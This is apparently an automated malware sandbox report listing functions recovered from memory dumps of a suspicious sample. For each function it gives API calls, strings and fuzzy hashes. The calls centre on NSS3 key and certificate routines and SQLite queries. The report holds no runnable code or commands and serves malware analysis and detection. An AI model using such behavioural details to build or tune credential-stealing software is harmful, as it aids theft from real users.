Associated: 00000005.00000002.2252275315.00000000003F0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252295395.00000000003F8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252318605.00000000003FC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252339083.00000000003FD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252361898.00000000003FF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252380578.0000000000400000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252399879.0000000000408000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252423708.000000000041A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252451520.000000000041C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252451520.0000000000445000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252536242.000000000045C000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252568798.000000000045D000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252594533.0000000000471000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252617426.0000000000472000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252635708.0000000000473000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252655718.0000000000479000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252680142.000000000047B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252705361.0000000000488000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252723533.000000000048A000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction ID: 2f7aa7655357a8c40e60c4854a0e7245e54688fccf9920d2028e666080f48b36
Opcode Fuzzy Hash: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction Fuzzy Hash: F9B11132A042869FDB15CF68C881BEEBFA5EF65340F15816AE855EB242D734DD01CBE0

Function 0019BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0019BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 0019BBE4
_xtime_get.LIBCPMT ref: 0019BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 0019BC13

Memory Dump Source

Source File: 00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00180000, based on PE: true

Associated: 00000005.00000002.2250998234.0000000000180000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251027007.00000000001E2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251104562.00000000001E9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251128282.00000000001EB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251157343.00000000001F7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251320963.000000000034C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251348636.000000000034E000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251373297.0000000000363000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251373297.0000000000371000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251421137.0000000000375000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251457181.0000000000377000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251532423.0000000000378000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251578867.000000000037B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251728034.000000000039E000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251755056.000000000039F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251778246.00000000003A1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251809558.00000000003B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251838699.00000000003C6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251863468.00000000003C7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251884306.00000000003C8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251934646.00000000003CC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251967621.00000000003D4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252007484.00000000003D7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252036360.00000000003DE000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252077913.00000000003E1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252117859.00000000003E9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252153202.00000000003EB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252175650.00000000003EC000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252232887.00000000003ED000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252256104.00000000003EE000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252275315.00000000003F0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252295395.00000000003F8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252318605.00000000003FC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252339083.00000000003FD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252361898.00000000003FF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252380578.0000000000400000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252399879.0000000000408000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252423708.000000000041A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252451520.000000000041C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252451520.0000000000445000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252536242.000000000045C000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252568798.000000000045D000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252594533.0000000000471000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252617426.0000000000472000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252635708.0000000000473000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252655718.0000000000479000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252680142.000000000047B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252705361.0000000000488000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252723533.000000000048A000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 805780bd2a72a5cb36c276129438a95d89ec2674d8973de14149c336cbc974f8
Instruction ID: e45325cb0554a50e03efe5e893753c017d44914217c690f7217542f4e2dd551f
Opcode Fuzzy Hash: 805780bd2a72a5cb36c276129438a95d89ec2674d8973de14149c336cbc974f8
Instruction Fuzzy Hash: 8F213E71A01119AFDF00EFA4DD819BEB7B9EF18710F100029F905B72A1DB30AD419BE1

Analysis Process: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exePID: 3872, Parent PID: 6012COMMON

Non-executed Functions

Function 6C7C7C00 Relevance: 31.9, APIs: 21, Instructions: 421COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C7C7C33
NSS_OptionGet.NSS3(0000000C,00000000), ref: 6C7C7C66
CERT_DestroyCertificate.NSS3(00000000), ref: 6C7C7D1E

Part of subcall function 6C7C7870: SECOID_FindOID_Util.NSS3(?,?,?,6C7C91C5), ref: 6C7C788F

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C7C7D48
PR_SetError.NSS3(FFFFE067,00000000), ref: 6C7C7D71
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6C7C7DD3
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C7C7DE1
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C7C7DF8
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C7C7E1A
PR_SetError.NSS3(FFFFE067,00000000), ref: 6C7C7E58

Part of subcall function 6C7C7870: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7C91C5), ref: 6C7C78BB
Part of subcall function 6C7C7870: PORT_ZAlloc_Util.NSS3(0000000C,?,?,?,6C7C91C5), ref: 6C7C78FA
Part of subcall function 6C7C7870: strchr.VCRUNTIME140(?,0000003A,?,?,?,?,?,?,?,?,?,?,6C7C91C5), ref: 6C7C7930
Part of subcall function 6C7C7870: PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C7C91C5), ref: 6C7C7951
Part of subcall function 6C7C7870: memcpy.VCRUNTIME140(00000000,?,?), ref: 6C7C7964
Part of subcall function 6C7C7870: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C7C797A
Part of subcall function 6C7C7870: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6C7C7988
Part of subcall function 6C7C7870: memcpy.VCRUNTIME140(?,00000001,00000001), ref: 6C7C7998
Part of subcall function 6C7C7870: free.MOZGLUE(00000000), ref: 6C7C79A7
Part of subcall function 6C7C7870: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,6C7C91C5), ref: 6C7C79BB
Part of subcall function 6C7C7870: PR_GetCurrentThread.NSS3(?,?,?,?,6C7C91C5), ref: 6C7C79CA

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C7C7E49
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C7C7F8C
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C7C7F98
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C7C7FBF
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C7C7FD9
PK11_ImportEncryptedPrivateKeyInfoAndReturnKey.NSS3(?,00000000,?,?,?,00000001,00000001,?,?,00000000,?), ref: 6C7C8038
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C7C8050
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6C7C8093
SECOID_FindOID_Util.NSS3 ref: 6C7C7F29

Part of subcall function 6C7C07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C768298,?,?,?,6C75FCE5,?), ref: 6C7C07BF
Part of subcall function 6C7C07B0: PL_HashTableLookup.NSS3(?,?), ref: 6C7C07E6
Part of subcall function 6C7C07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7C081B
Part of subcall function 6C7C07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7C0825

SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6C7C8072
SECOID_FindOID_Util.NSS3 ref: 6C7C80F5

Part of subcall function 6C7CBC10: SECITEM_CopyItem_Util.NSS3(?,?,?,?,-00000001,?,6C7C800A,00000000,?,00000000,?), ref: 6C7CBC3F

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: Util$Item_$Error$Zfree$DestroyPublic$Find$Alloc_CopyHashImportK11_LookupTablememcpy$AlgorithmCertificateConstCurrentEncryptedInfoOptionPrivateReturnTag_Threadfreestrchrstrcmpstrlen
String ID:
API String ID: 2815116071-0
Opcode ID: 1e0a9da247e95a08d77db0c3d3e7d64576a089d8f5977fa3ebdd4bc039b60a13
Instruction ID: 667f8dcd1f365e12312728c37882b2753a06895644823aa2721eb807497edcbf
Opcode Fuzzy Hash: 1e0a9da247e95a08d77db0c3d3e7d64576a089d8f5977fa3ebdd4bc039b60a13
Instruction Fuzzy Hash: 68E19E717083029FE710CF28CA84B5A77E5BF85308F14496DE99A9BB51EB31E845CB93

Function 6C753D00 Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 446COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C753DFB
__allrem.LIBCMT ref: 6C753EEC
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C753FA3
memcpy.VCRUNTIME140(?,?,00000001), ref: 6C754047
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C7540DE
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C75415F
__allrem.LIBCMT ref: 6C75416B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C754288
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C7542AB
__allrem.LIBCMT ref: 6C7542B7

Strings

%04d, xrefs: 6C75407B
%02d, xrefs: 6C754086
%lld, xrefs: 6C753FB2
%03d, xrefs: 6C7542E8

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$__allrem$memcpy$__aulldiv
String ID: %02d$%03d$%04d$%lld
API String ID: 703928654-3678606288
Opcode ID: 1db3efc68588f39e32d85ce29ec509783e9945399add9d173a7549158c6fda80
Instruction ID: 59598238221166bee59afd028a2d87460c3a5d2b6201767b35945d301530f87a
Opcode Fuzzy Hash: 1db3efc68588f39e32d85ce29ec509783e9945399add9d173a7549158c6fda80
Instruction Fuzzy Hash: D2F14471A087409FD325CF38CA44B6BB7F6AF85308F548A2DF48597661EB31D865CB82

Function 6C701C30 Relevance: 23.2, APIs: 3, Strings: 10, Instructions: 485COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C701D58
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C701EFD
sqlite3_exec.NSS3(00000000,00000000,Function_00007370,?,00000000), ref: 6C701FB7

Strings

another row available, xrefs: 6C702287
unsupported file format, xrefs: 6C702188
no more rows available, xrefs: 6C702264
sqlite_master, xrefs: 6C701C61
unknown error, xrefs: 6C702291
attached databases must use the same text encoding as main database, xrefs: 6C7020CA
SELECT*FROM"%w".%s ORDER BY rowid, xrefs: 6C701F83
table, xrefs: 6C701C8B
abort due to ROLLBACK, xrefs: 6C702223
sqlite_temp_master, xrefs: 6C701C5C

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@_byteswap_ulongsqlite3_exec
String ID: SELECT*FROM"%w".%s ORDER BY rowid$abort due to ROLLBACK$another row available$attached databases must use the same text encoding as main database$no more rows available$sqlite_master$sqlite_temp_master$table$unknown error$unsupported file format
API String ID: 563213449-2102270813
Opcode ID: a8cd09a37296eed4aeeaf3c415b6876b4cd34d24160ba6eb06b6265c3bfcbad9
Instruction ID: efdd58458cdbd721d44bff7919a4e5e53e62ac9c2246f371d27351d123f0aafd
Opcode Fuzzy Hash: a8cd09a37296eed4aeeaf3c415b6876b4cd34d24160ba6eb06b6265c3bfcbad9
Instruction Fuzzy Hash: 3112C0B17083418FD711CF19C18465AB7F2BF8931CF19896DE8998BB52D731E84ACB82

Function 6C7FDE10 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 332threadCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(FF000001,?,?,?,00000000,6C7D7FFA,00000000,?,6C8023B9,00000002,00000000,?,6C7D7FFA,00000002), ref: 6C7FDE33

Part of subcall function 6C829090: TlsGetValue.KERNEL32 ref: 6C8290AB
Part of subcall function 6C829090: TlsGetValue.KERNEL32 ref: 6C8290C9
Part of subcall function 6C829090: EnterCriticalSection.KERNEL32 ref: 6C8290E5
Part of subcall function 6C829090: TlsGetValue.KERNEL32 ref: 6C829116
Part of subcall function 6C829090: LeaveCriticalSection.KERNEL32 ref: 6C82913F

Part of subcall function 6C7FD000: PORT_ZAlloc_Util.NSS3(00000108,?,6C7FDE74,6C7D7FFA,00000002,?,?,?,?,?,00000000,6C7D7FFA,00000000,?,6C8023B9,00000002), ref: 6C7FD008

PR_ExitMonitor.NSS3(FF000001,?,?,?,?,?,00000000,6C7D7FFA,00000000,?,6C8023B9,00000002,00000000,?,6C7D7FFA,00000002), ref: 6C7FDE57
memset.VCRUNTIME140(?,00000000,00000088), ref: 6C7FDEA5
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C7FE069
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C7FE121
PK11_FreeSymKey.NSS3(?), ref: 6C7FE14F
PK11_CreateContextBySymKey.NSS3(?,00000000,?,00000000), ref: 6C7FE195
PR_GetCurrentThread.NSS3 ref: 6C7FE1FC

Part of subcall function 6C7F2460: PR_SetError.NSS3(FFFFE005,00000000,6C897379,00000002,?), ref: 6C7F2493

Strings

key, xrefs: 6C7FE046
application data, xrefs: 6C7FDFE0
early application data, xrefs: 6C7FDFC9
handshake data, xrefs: 6C7FDFF7

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: ErrorValue$CriticalEnterK11_MonitorSection$Alloc_ContextCreateCurrentExitFreeLeaveThreadUtilmemset
String ID: application data$early application data$handshake data$key
API String ID: 1461918828-2699248424
Opcode ID: 4768262622788cf9c8dd84ce3c08b7aa13f11ebcd98f266507a44239b0ef7c2b
Instruction ID: 41ad3657d30e94746fa8bd2c083172b1729f54a731111dc5592380290b2bfc92
Opcode Fuzzy Hash: 4768262622788cf9c8dd84ce3c08b7aa13f11ebcd98f266507a44239b0ef7c2b
Instruction Fuzzy Hash: F1C1F571A002099BEB14CF69CEC4BAAB7B4FF05308F144139E9299BB51E731E955CBA1

Function 6C787D60 Relevance: 18.3, APIs: 12, Instructions: 299COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?), ref: 6C787DDC

Part of subcall function 6C7C07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C768298,?,?,?,6C75FCE5,?), ref: 6C7C07BF
Part of subcall function 6C7C07B0: PL_HashTableLookup.NSS3(?,?), ref: 6C7C07E6
Part of subcall function 6C7C07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7C081B
Part of subcall function 6C7C07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7C0825

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C787DF3
PK11_PBEKeyGen.NSS3(?,00000000,00000000,00000000,?), ref: 6C787F07
PK11_GetPadMechanism.NSS3(00000000), ref: 6C787F57
PK11_UnwrapPrivKey.NSS3(?,00000000,00000000,?,0000001C,00000000,?,?,?,00000000,00000130,00000004,?), ref: 6C787F98
PK11_FreeSymKey.NSS3(?), ref: 6C787FC9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C787FDE
PK11_PBEKeyGen.NSS3(?,?,00000000,00000001,?), ref: 6C788000

Part of subcall function 6C7A9430: SECOID_GetAlgorithmTag_Util.NSS3(00000000,?,?,00000000,00000000,?,6C787F0C,?,00000000,00000000,00000000,?), ref: 6C7A943B
Part of subcall function 6C7A9430: SECOID_FindOIDByTag_Util.NSS3(00000000,?,?), ref: 6C7A946B
Part of subcall function 6C7A9430: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?), ref: 6C7A9546

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C788110
PK11_FreeSymKey.NSS3(00000000), ref: 6C78811D
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6C78822D
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C78823C

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: K11_Util$FindItem_Tag_Zfree$ErrorFreeHashLookupPublicTable$AlgorithmConstDestroyImportMechanismPrivUnwrap
String ID:
API String ID: 1923011919-0
Opcode ID: 448e76eff019280cde4fdc5f2a1f5bd28c64e336251c730b342755f8de2ddec7
Instruction ID: d35da9ea5b4f76a70e5f10ec66692ae212f79c614f5095238aab9e75862af0ca
Opcode Fuzzy Hash: 448e76eff019280cde4fdc5f2a1f5bd28c64e336251c730b342755f8de2ddec7
Instruction Fuzzy Hash: 12C17DB1D01219DFEB21CF54CD44BEAB7B8AB05348F0481F9E91DA6641E7319E85CFA1

Function 6C790EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6C790F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C790FB3
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6C791006
PK11_FreeSymKey.NSS3(?), ref: 6C79101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C791033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C79103F
PK11_FreeSymKey.NSS3(00000000), ref: 6C791048
memcpy.VCRUNTIME140(?,?,?), ref: 6C79108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C7910BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6C7910D6
memcpy.VCRUNTIME140(?,?,?), ref: 6C79112E

Part of subcall function 6C791570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6C7908C4,?,?), ref: 6C7915B8
Part of subcall function 6C791570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6C7908C4,?,?), ref: 6C7915C1
Part of subcall function 6C791570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C79162E
Part of subcall function 6C791570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C791637

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: a3f4ffb96d5648366d1665e88299a623b8495be01ae9482701da30c7735f6bc5
Instruction ID: 177ef9272907ad827fbf3fba28c5898712f210f9c09f4f6fdfdb177095ec26df
Opcode Fuzzy Hash: a3f4ffb96d5648366d1665e88299a623b8495be01ae9482701da30c7735f6bc5
Instruction Fuzzy Hash: 727114B5A002058FDB10CFA9EE85A6AB7F8FF48318F14863CE50997711E732D964CB90

Function 6C7B1CE0 Relevance: 16.2, APIs: 5, Strings: 4, Instructions: 401COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000020), ref: 6C7B1F19
memcpy.VCRUNTIME140(?,?,00000020), ref: 6C7B2166
memcpy.VCRUNTIME140(?,?,00000010), ref: 6C7B228F
memcpy.VCRUNTIME140(?,?,00000010), ref: 6C7B23B8
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C7B241C

Strings

model, xrefs: 6C7B23CB, 6C7B23EC
manufacturer, xrefs: 6C7B2179
serial, xrefs: 6C7B22A2
token, xrefs: 6C7B1F2C

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

